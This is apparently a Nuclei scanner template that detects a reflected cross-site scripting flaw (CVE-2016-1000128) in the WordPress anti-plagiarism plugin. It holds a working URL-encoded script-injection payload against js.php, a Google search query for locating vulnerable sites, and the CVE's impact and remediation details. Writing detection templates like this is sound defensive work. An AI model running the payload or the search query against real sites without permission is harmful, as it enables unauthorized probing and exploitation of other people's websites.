id: CVE-2016-1000128

info:
  name: WordPress anti-plagiarism <=3.60 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress anti-plagiarism 3.6.0 and prior are vulnerable to reflected cross-site scripting.
  impact: |
    Attackers can execute arbitrary JavaScript in victims' browsers, potentially stealing session cookies, credentials, or performing actions on behalf of users.
  remediation: |
    Update the WordPress anti-plagiarism plugin to version >3.60 or apply the latest security patches provided by the vendor.
  reference:
    - http://www.vapidlabs.com/wp/wp_advisory.php?v=161
    - https://wordpress.org/plugins/anti-plagiarism
    - https://nvd.nist.gov/vuln/detail/CVE-2016-1000128
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2016-1000128
    cwe-id: CWE-79
    epss-score: 0.04195
    epss-percentile: 0.89943
    cpe: cpe:2.3:a:anti-plagiarism_project:anti-plagiarism:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: "anti-plagiarism_project"
    product: "anti-plagiarism"
    framework: wordpress
    google-query: "inurl:\"/wp-content/plugins/anti-plagiarism\""
  tags: cve2016,cve,wordpress,xss,wp-plugin,anti-plagiarism_project,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/anti-plagiarism/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'anti plagiarism'
          - 'Tags:'
        condition: and

  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/anti-plagiarism/js.php?m=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100ae502f92d20f10d5bce08b0db72b82d6cfa6a415edb8f8420aa50b8c962ed229022051bbd54f4df2349d75119db385f895cb58aeece3c3fd57f44bd53dbefd0f2864:922c64590222798bb761d5b6d8e72950